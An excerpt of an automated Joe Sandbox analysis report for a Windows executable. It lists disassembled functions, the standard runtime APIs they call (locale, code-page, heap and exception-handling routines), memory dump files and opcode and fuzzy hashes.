Opcode Fuzzy Hash: 6a6f73d8c6b678b20650fb784add4d01299f4f483c1c765fbfb181a8c8681b05
Instruction Fuzzy Hash: 0611E639A2E38365FE507B26A18A13AA760DF447F0F901678F96E466E4DF3CD4406B10

Function 00007FF73A40B954 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A40B2B0: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,00007FF73A40B5EC), ref: 00007FF73A40B2DA

IsValidCodePage.KERNEL32(?,?,?,00000001,?,00000000,?,00007FF73A40B71D), ref: 00007FF73A40B9C1
GetCPInfo.KERNEL32(?,?,?,00000001,?,00000000,?,00007FF73A40B71D), ref: 00007FF73A40BA05

Strings

|~fqVG, xrefs: 00007FF73A40B96A

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: |~fqVG
API String ID: 546120528-3303519982
Opcode ID: 916d5d2bc06a167e78101b3390dc758e90f4b9f264f232b53cd73e79dafd9626
Instruction ID: 003a878b6f7c1664675704e070557c5ad85e1c28fd834608150506154a38ba12
Opcode Fuzzy Hash: 916d5d2bc06a167e78101b3390dc758e90f4b9f264f232b53cd73e79dafd9626
Instruction Fuzzy Hash: 4B81486AE0C28262F725EF2DD402179F7A1EB40744FDA41B2C68D07694DE3CE542F72A

Function 00007FF73A40B3C8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32 ref: 00007FF73A40B40A

Strings

|~fqVG, xrefs: 00007FF73A40B3E2
, xrefs: 00007FF73A40B44D

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Info
String ID: $|~fqVG
API String ID: 1807457897-3531847677
Opcode ID: 875b9b8a40c284ead772abb435dc8a77a384c0ab268c76e74828773d368971c8
Instruction ID: 91f9a0fcfa5aad508581f46ab729e8bc6a6f3c700b11a967c3f3241f2eee4377
Opcode Fuzzy Hash: 875b9b8a40c284ead772abb435dc8a77a384c0ab268c76e74828773d368971c8
Instruction Fuzzy Hash: 0751BF76A1C2C19AE720DF28E0453ADFBA0F74874CF9441B6D68D83A86CB3CD506EB15

Function 00007FF73A40696C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE ref: 00007FF73A406A09
LCMapStringW.KERNEL32 ref: 00007FF73A406A3D

Strings

LCMapStringEx, xrefs: 00007FF73A406988, 00007FF73A406999

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 5eb25842227b41f3442d1bf3edcfa990ab72379bd8bedd3bb851ce65e1ed33bf
Instruction ID: d300f4db13f4d4f3fda2cf492198e498b602fb7f3bf6a1709e6a268dafd4c476
Opcode Fuzzy Hash: 5eb25842227b41f3442d1bf3edcfa990ab72379bd8bedd3bb851ce65e1ed33bf
Instruction Fuzzy Hash: B2214C39608B8186E764DF0AB84029AF3A4FBC9BC0F948136EE8D43B19DF3CD4409B40

Function 00007FF73A3F8224 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A3F7F10: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF73A3F7F24

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF73A3F8248
__scrt_release_startup_lock.LIBCMT ref: 00007FF73A3F82B6
__scrt_get_show_window_mode.LIBCMT ref: 00007FF73A3F8309

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 474476ee4c044e0c2c7cf4e5ef395ad6e649675cc114b0a31db13de272242a06
Instruction ID: e00dd1e5a2b739c7f8a8faa99d36f1dabaf9a4eeea5fa04621b7457a3f60c92c
Opcode Fuzzy Hash: 474476ee4c044e0c2c7cf4e5ef395ad6e649675cc114b0a31db13de272242a06
Instruction Fuzzy Hash: 2E315D2CA2E24776FE58BB68A4532B9D291DF51384FD500B9E90D472E3DE3CA814B231

Function 00007FF73A3F5CB0 Relevance: 3.1, APIs: 2, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfb8fcdb40f2f7925395933c2a075e9459ae5b876a5129538ed71287851db8a9
Instruction ID: 93082052af06c6768494594906467a2153ae77dc8e0ff4571e73143eaaab8a7d
Opcode Fuzzy Hash: bfb8fcdb40f2f7925395933c2a075e9459ae5b876a5129538ed71287851db8a9
Instruction Fuzzy Hash: F5214826B1B74765FE247B11B4063B893509F047E4FD80678EE6D077C6DE3CA482A320

Function 00007FF73A3F8140 Relevance: 3.1, APIs: 2, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_set_fmode.LIBCMT ref: 00007FF73A3F8157
_RTC_Initialize.LIBCMT ref: 00007FF73A3F8178

Part of subcall function 00007FF73A401448: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40147A

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Initialize_invalid_parameter_noinfo_set_fmode
String ID:
API String ID: 3548387204-0
Opcode ID: d1173a7212cc43d76dbf22b13eebf2488d25545fb6af3f24d076bbedaddb7772
Instruction ID: d37991c3af3efe8ddc7853c5fe213f423bc7e667cee09599f6cec5422aa1f8da
Opcode Fuzzy Hash: d1173a7212cc43d76dbf22b13eebf2488d25545fb6af3f24d076bbedaddb7772
Instruction Fuzzy Hash: F2116D18E2E20761FE58B7B954572F9C5858FA0340FC104F9E90D862C3EE3CB9617272

Function 00007FF73A3F7E98 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF73A3F7EC8

Part of subcall function 00007FF73A3F8A7C: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF73A3F8A85

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF73A3F7ECE

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: cbf22f8cbf1717a2694491ed3b26a85d012a5bbbbd9548570d24cff125468d79
Instruction ID: c14d07dd1bdf9f9c7754134af2e26de0989b4672922a06c5eab8d1f0210937d5
Opcode Fuzzy Hash: cbf22f8cbf1717a2694491ed3b26a85d012a5bbbbd9548570d24cff125468d79
Instruction Fuzzy Hash: 83E0EC08E2B20731FE58716524070B481444F6A370EA81BB9DE7D043C7AD3CA891B130

Function 00007FF73A405EF8 Relevance: 2.6, APIs: 2, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF73A405D75,?,?,00000000,00007FF73A405E2A), ref: 00007FF73A405F66
GetLastError.KERNEL32(?,?,?,00007FF73A405D75,?,?,00000000,00007FF73A405E2A), ref: 00007FF73A405F70

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: c1e6758c4820c8c1252858a67302dddffb3f9881a80f9013a0a9caeb96fceeeb
Instruction ID: 3a7cbb45ca20f9df86c23428fbe42524033ebae550bde403dba76fc194a9e456
Opcode Fuzzy Hash: c1e6758c4820c8c1252858a67302dddffb3f9881a80f9013a0a9caeb96fceeeb
Instruction Fuzzy Hash: 1521D469B1868261FA50F73DA48637CD381AF84790F9682B4EA2E473C1CE6CE4417323

Function 00007FF73A40F788 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40F7AB

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f805479e7f46c08dc78d13233d7981beb6879058a49b51030b1ad75e20a33afe
Instruction ID: 958b642e0611d1f3d60cc70103fb2f52f43a69c59553af32f507a03af58d71c8
Opcode Fuzzy Hash: f805479e7f46c08dc78d13233d7981beb6879058a49b51030b1ad75e20a33afe
Instruction Fuzzy Hash: AE21F237A18B4296EB61EF1CD441379F6A0EB80B94F950234EA5D876D9DF3DD400EB11

Function 00007FF73A4003B0 Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40031C

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 9dd8857877f8d622ee8f1f9005da3086ec389f3c95e69244a29b813603ad10de
Instruction ID: 11c9dc10013d469cc188cc274ceac06dd66b1b4822bb88ed14f22dcf469ee35f
Opcode Fuzzy Hash: 9dd8857877f8d622ee8f1f9005da3086ec389f3c95e69244a29b813603ad10de
Instruction Fuzzy Hash: 1B11D62991C682A6FF52FB1994023BDD690AFC5B80FD544B0EA8C07686CF7CE500B722

Function 00007FF73A40C144 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40C16F

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b775fb37558cbe0d9f685a5aed90acce8f5692ab35a844819172b9af688f5e48
Instruction ID: ce8d32aed7833ccfd21bd678f78c3d671afda4b8f3c3e13967cc34c01a6e8ca1
Opcode Fuzzy Hash: b775fb37558cbe0d9f685a5aed90acce8f5692ab35a844819172b9af688f5e48
Instruction Fuzzy Hash: 5B119D3A919642E2F200FB18A446129F3A1FB90340F8644B5EA4D5B692CF3CE810BB21

Function 00007FF73A3F7F10 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF73A3F7F24

Part of subcall function 00007FF73A3F9E78: __vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00007FF73A3F9E80
Part of subcall function 00007FF73A3F9E78: __vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00007FF73A3F9E85

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: __scrt_dllmain_crt_thread_attach__vcrt_uninitialize_locks__vcrt_uninitialize_ptd
String ID:
API String ID: 1208906642-0
Opcode ID: 224b13c04430447bb356dc3f0809f92e7c82e594cc02aa9ed2c5e200abf5342b
Instruction ID: 559d558945cf9b755a4717ce6d5789302bc927ca1c14d9d9eb069c196bd9b8e3
Opcode Fuzzy Hash: 224b13c04430447bb356dc3f0809f92e7c82e594cc02aa9ed2c5e200abf5342b
Instruction Fuzzy Hash: B7E0B65CD2F34376FEA83A2555432F8D2804F22304FD024FEE51E521839D2D304A7632

Function 00007FF73A4062D4 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF73A404B06,?,?,0000475671667E7C,00007FF73A4006B1,?,?,?,?,00007FF73A40A0B6,?,?,00000000), ref: 00007FF73A406329

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 3297627f840d2d8a0acd794a5d79d3fc058ea66c42947bb30e921bb7862556ae
Instruction ID: 870ae19b91a88fd60f0f6e7cc84c9a1d2dda875ac3fc82b2f5c0149e2569d7d7
Opcode Fuzzy Hash: 3297627f840d2d8a0acd794a5d79d3fc058ea66c42947bb30e921bb7862556ae
Instruction Fuzzy Hash: 99F04F4CB0A24675FE54F75E56132B9C6801F85780FCA04B4C90F462C1EEACE4817272

Function 00007FF73A408E50 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF73A40A09D,?,?,00000000,00007FF73A400CCF,?,?,?,00007FF73A40194B,?,?,?,00007FF73A401841), ref: 00007FF73A408E8E

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 7d8b04491be02a6a6a54ba2ac2cf4b3de713a8671e022013d4177b5f51218a88
Instruction ID: 96946aa2d045a4dc24276a76943ea947f014e3eb570c609af6f5f4510afdece7
Opcode Fuzzy Hash: 7d8b04491be02a6a6a54ba2ac2cf4b3de713a8671e022013d4177b5f51218a88
Instruction Fuzzy Hash: 4CF08918F0D20665FAA4B7696A43675E2405FC47B0FCA0AF0ED2EC52C1DE6CF4407172

Non-executed Functions

Function 00007FF73A40EB80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF73A40492C: GetLastError.KERNEL32 ref: 00007FF73A40493B
Part of subcall function 00007FF73A40492C: FlsGetValue.KERNEL32 ref: 00007FF73A404950
Part of subcall function 00007FF73A40492C: SetLastError.KERNEL32 ref: 00007FF73A4049DB

Part of subcall function 00007FF73A40492C: FlsSetValue.KERNEL32 ref: 00007FF73A404971

GetUserDefaultLCID.KERNEL32(?,00000000,00000092,?), ref: 00007FF73A40ECF0

Part of subcall function 00007FF73A40492C: FlsSetValue.KERNEL32 ref: 00007FF73A40499E
Part of subcall function 00007FF73A40492C: FlsSetValue.KERNEL32 ref: 00007FF73A4049AF
Part of subcall function 00007FF73A40492C: FlsSetValue.KERNEL32 ref: 00007FF73A4049C0

EnumSystemLocalesW.KERNEL32(?,00000000,00000092,?,?,00000000,?,00007FF73A402915), ref: 00007FF73A40ECD7
ProcessCodePage.LIBCMT ref: 00007FF73A40ED1A
IsValidCodePage.KERNEL32 ref: 00007FF73A40ED2C
IsValidLocale.KERNEL32 ref: 00007FF73A40ED42
GetLocaleInfoW.KERNEL32 ref: 00007FF73A40ED9E
GetLocaleInfoW.KERNEL32 ref: 00007FF73A40EDBA

Strings

|~fqVG, xrefs: 00007FF73A40EB92

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID: |~fqVG
API String ID: 2591520935-3303519982
Opcode ID: 4f671ca00f56fc9bf8997cbef9bac339960b0da77d1a639bb5ca6f39e128ec38
Instruction ID: 3cf87418751feeea65d7aded6c0fc92bdbd568aa6e95fae6f2cfb65142164f39
Opcode Fuzzy Hash: 4f671ca00f56fc9bf8997cbef9bac339960b0da77d1a639bb5ca6f39e128ec38
Instruction Fuzzy Hash: 6471796AB08602A9FB10FB68D4536B8F3A0AF44B44F864075CA1D43791EF3DA465F322

Function 00007FF73A40E138 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF73A40492C: GetLastError.KERNEL32 ref: 00007FF73A40493B
Part of subcall function 00007FF73A40492C: FlsGetValue.KERNEL32 ref: 00007FF73A404950
Part of subcall function 00007FF73A40492C: SetLastError.KERNEL32 ref: 00007FF73A4049DB

TranslateName.LIBCMT ref: 00007FF73A40E1A2
TranslateName.LIBCMT ref: 00007FF73A40E1DD
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF73A40291C), ref: 00007FF73A40E224
IsValidCodePage.KERNEL32(?,?,?,00000000,00000092,00007FF73A40291C), ref: 00007FF73A40E25C
GetLocaleInfoW.KERNEL32 ref: 00007FF73A40E419

Strings

|~fqVG, xrefs: 00007FF73A40E3C3
utf8, xrefs: 00007FF73A40E340

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8$|~fqVG
API String ID: 3069159798-752275611
Opcode ID: d46c3db5fd79884ae430bdd4407c5728a58e5621258412781129b8267518e870
Instruction ID: ed9bdfdb6b5dea84648dbd58ba6b3abd434b6162a3630daef4917bc8f59c7951
Opcode Fuzzy Hash: d46c3db5fd79884ae430bdd4407c5728a58e5621258412781129b8267518e870
Instruction Fuzzy Hash: 3691CF3AA08742A5FB20FB29D4032B9E7A0EB44B80F864175CA5C47785DF3CE561F322

Function 00007FF73A3FF45C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF73A3FF4D5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF73A3FF4ED
RtlVirtualUnwind.KERNEL32 ref: 00007FF73A3FF528
IsDebuggerPresent.KERNEL32 ref: 00007FF73A3FF561
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF73A3FF56B
UnhandledExceptionFilter.KERNEL32 ref: 00007FF73A3FF576

Strings

|~fqVG, xrefs: 00007FF73A3FF479

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID: |~fqVG
API String ID: 1239891234-3303519982
Opcode ID: b756a912aeb3b57a49614e42f217d9f36913244dab77649a3db67ba06f605164
Instruction ID: 332b6330694dc1bb6213a0792917051d86349efc1c6fa9152cafba1cae9df281
Opcode Fuzzy Hash: b756a912aeb3b57a49614e42f217d9f36913244dab77649a3db67ba06f605164
Instruction Fuzzy Hash: C131B43A618F8196EB24DF28E8412AEB3A0FB98754F910175EE8D43B54DF3CC145C710

Function 00007FF73A3F8AB0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF73A3F8ACC
RtlCaptureContext.KERNEL32 ref: 00007FF73A3F8AF9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF73A3F8B13
RtlVirtualUnwind.KERNEL32 ref: 00007FF73A3F8B54
IsDebuggerPresent.KERNEL32 ref: 00007FF73A3F8BA8
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF73A3F8BC5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF73A3F8BD0

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
